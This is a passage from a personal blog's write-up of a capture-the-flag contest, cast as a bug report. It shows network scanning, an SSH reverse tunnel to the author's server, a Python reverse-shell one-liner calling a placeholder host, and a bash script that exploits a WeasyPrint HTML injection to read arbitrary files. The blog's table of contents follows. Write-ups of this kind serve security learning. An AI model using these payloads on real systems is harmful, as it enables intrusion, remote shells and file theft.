With that I could install nmap using apt, then I checked the local network mask (using ip a, it’s 172.28.0.2/16) and scanned the network (nmap -sP 172.28.0.2/16) to see if there were other machines I could reach.

This allowed me to discover an invoicing system on 172.28.0.3. I setup a tunnel to my VPS (ssh h1@W.X.Y.Z -R 0.0.0.0:8001:172.28.0.3:80 -fN -o StrictHostKeyChecking=no -o PubkeyAuthentication=no) to expose the server externally.

P.S.: While exploring the machine, I saw with ps aux that there were other attackers connected, I’m afraid this vulnerability has already been exploited!

BLOG NOTES!
Finding the update_host parameter was quite a challenge. @daeken (The author of this CTF, thank you for the fun times!) tweeted a single underscore and I knew that such a cryptic tweet had to be a clue. I had been trying to fit in _ in all my attacks up to now but it’s on this step that it was useful.

The big URL contains an URL-encoded python command to connect to my listener. python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("W.X.Y.Z",82));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

As soon as we leave the web, I’m a complete newb. Scanning the network didn’t even occur to me at first. I saw people on the next machine using ps and then I understood what I should have done. Setting up the port forwarding what quite a challenge as well! I had no idea what I was doing but I read a ton and learned so much. I had a lot of fun in this part.

Reports and invoicing system

A combination of factors allows an attacker to read any file on the machine

The invoice system’s /invoices/new page, the /invoices/preview API and the /invoices/pdfize API do not require authentication
The style property of the JSON object passed in the d parameter to /invoices/pdfize isn’t property sanitized
- More precisely, the CSS property names allow HTML characters like < and >
Weasyprint (the library used here) allows including files into the PDF using <link rel=attachment href="PATH" /> in the HTML source for the PDF
- It’s a documented feature
- The information about weasyprint was leaked using a background-image CSS property to load an attacker-controlled image
- The vendor and version (weasyprint 44) were in the HTTP headers

With all of this, I could make the following bash script to download any file from the server

VPS_IP="W.X.Y.Z"
VPS_PORT="80"

FILEPATH="main.py" # Path of the file to download. Can be relative to where the app is running or absolute.

QUERY="{\"companyName\":\"\",\"email\":\"\",\"invoiceNumber\":\"\",\"date\":\"\",\"items\":[[\"1\",\"\",\"\",\"10\"]],\"styles\":{\"body\":{\"</style \":\"\",\"><link rel=attachment href=\\\"file://$FILEPATH\\\" />\":\"\"}}}"
ENCODED_QUERY=$(python -c "import urllib.parse, sys; print(urllib.parse.quote(sys.argv[1]))" "$QUERY") # python3

curl "http://$VPS_IP:$VPS_PORT/invoices/preview?d=$ENCODED_QUERY" -o ./50m-ctf/pdfize.pdf

pdfdetach -save 1 -o "./50m-ctf/$(basename $FILEPATH)" ./50m-ctf/pdfize.pdf

Reading the main.py allows an attacker to read the c8889970d9fb722066f31e804e351993 flag.

BLOG NOTES!
The bash script was overkill at this point, but it makes the whole thing so much cleaner.
For the HTML injection I used two CSS properties (the first one with an empty value) to evade filters and make a closing tag to get out of the CSS context and inject my HTML payload. The rendered HTML looked something like this:.
<style>
/* some properties */
body {
</style :
><link rel=attachment href="file://main.py" />: }

Impact

The 104.196.12.98 server is completely compromised and an attacker could, among other things, take the service down or modify the application to serve bad content to unsuspecting users.

The local machine serving the invoices system is vulnerable to arbitrary file read and nothing on that machine can be considered private anymore.

Evidence suggests that these vulnerabilities have already been exploited and the machines are already compromised.

Conclusion (to the blog post, the report is over)

This was a crazy experience that completely captivated me for a few weeks. Thanks to Cody/daeken for putting this together, thanks to everyone I chatted with during the CTF on the Discord channel and congratulations to everyone who tried the CTF, you’re all champs even if you didn’t get to the end.

I have learned a lot about hacking during the CTF and a lot about writing after reading other people’s writeups. I can’t wait to test these new skills on another CTF!

$BLOG_TITLE

Android Application Hacking Resources

Aggregators, news feeds, twitter threads, etc.

Talks

Write-ups and blog articles

Social media accounts

Telegram

Twitter

Courses

Frida

Drozer

Semi-automation of dorking

Transitioning from software development to security

Some context about me

Relevant experience

Be the security person at your job

Practice (CTF, Wargames, Bug Bounties)

Learn how to defend

Get involved in the community

Conclusion

Automatically recover Firebase Remote Config information in Android apps

Intigriti XSS Challenge 2 and how I lost time to a bad assumption

Analyzing the code

Finding a valid URL

Eliminating invalid characters

XSS time

Conclusion

Intigriti XSS Challenge - Solution and problem solving approach

Analyzing the code

Getting XSS is not important yet

Step by step to the exploit

Getting JavaScript in the iframe

Posting a message to the parent window

Turning the URL into JavaScript

Finally time to think about that XSS

The final step

Conclusion

Yet another $50M CTF writeup!

Several vulnerabilities lead to Remote Code Execution and Arbitraty File Read on multiple servers

Summary

Steps To Reproduce

Detailed description

The tweet

The APK

H1Thermostat (Flitebackend) login

H1Thermostat (Flitebackend) admin page

Reports and invoicing system

Impact

Conclusion (to the blog post, the report is over)

Getting JavaScript in the `iframe`

Posting a message to the parent `window`